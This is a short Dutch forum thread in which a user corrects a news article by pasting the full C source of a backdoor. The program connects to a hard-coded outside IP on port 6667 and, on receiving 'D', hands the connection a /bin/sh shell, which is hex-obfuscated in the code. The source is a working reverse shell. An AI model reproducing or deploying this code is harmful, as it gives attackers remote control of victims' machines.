grove fout in http://www.tweakers.net/nieuws/22773

Pagina: 1
Acties:

  • xoror
  • Registratie: November 1999
  • Niet online
Daarin wordt een shell-script gegenereerd dat probeert een verbinding met een IRC server in Australië op te zetten - waarschijnlijk als DDoS aanval.
dat ie connect op poort 6667 hoef niet perse te zeggen dat het een IRC server is.
in dit geval is dat ook niet zo. en ik weet niet waar je het vandaan haalt dat het om een DDoS aanval zou gaan.

als je de source had bekeken

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <setjmp.h>
 
jmp_buf env;
int s;
char *i_val="\x2f\x62\x69\x6e\x2f\x73\x68";

void
sig(int sig)
{
        close(s);
        sleep(3600);
        longjmp(env,0);
}
    
int                      
main()
{
        int x;
        char c, *a[2];
        struct sockaddr_in sa;
        struct sigaction act;

        switch(fork()){
        case 0:         
                break;
        default:
                exit(0);
        }
        close(0);
        close(1);
        close(2);
        memset(&act,0,sizeof(act));
        act.sa_handler=sig;
        sigaction(SIGALRM,&act,NULL);
        do {
                setjmp(env);   
                if((s=socket(AF_INET,SOCK_STREAM,0))==(-1))
                        exit(1);
                memset(&sa,0,sizeof(sa));
                sa.sin_family=AF_INET;
                sa.sin_port=htons(6667);
                sa.sin_addr.s_addr=inet_addr("203.62.158.32");
                alarm(10);
                if(connect(s,(struct sockaddr*)&sa,sizeof(sa))==(-1))
                        exit(1);
                if((x=read(s,&c,1))==(-1))
                {
                        exit(1);
                }
                else if(x==1)
                { 
                        switch(c) {
                        case 'A':
                                exit(0);
                        case 'D':
                                alarm(0);
                                dup2(s,0);
                                dup2(s,1);
                                dup2(s,2);
                                a[0]=i_val;
                                a[1]=NULL;
                                execve(a[0],a,NULL);

                                break;
                        case 'M':
                                alarm(0);
                                sig(0);
                                break;
                        default:
                        }
                } else {
                        exit(0);
                }   
        } while(1);
}


zie je dat je door bepaalde letter in te tikken (een D) in ditgeval een shell krijgt.

Mitsubishi Warmtepomp uitlezen/besturen met een ESP32


  • Wouter Tinus
  • Registratie: Oktober 1999
  • Niet online

Wouter Tinus

Whee!

dat is wel een HELE grove fout ja, snel aanpassen voor de GNU-politie op de stoep staat.

Professioneel Hyves-weigeraar


  • xoror
  • Registratie: November 1999
  • Niet online
jup het is maar dat je het weet !!!
:P

Mitsubishi Warmtepomp uitlezen/besturen met een ESP32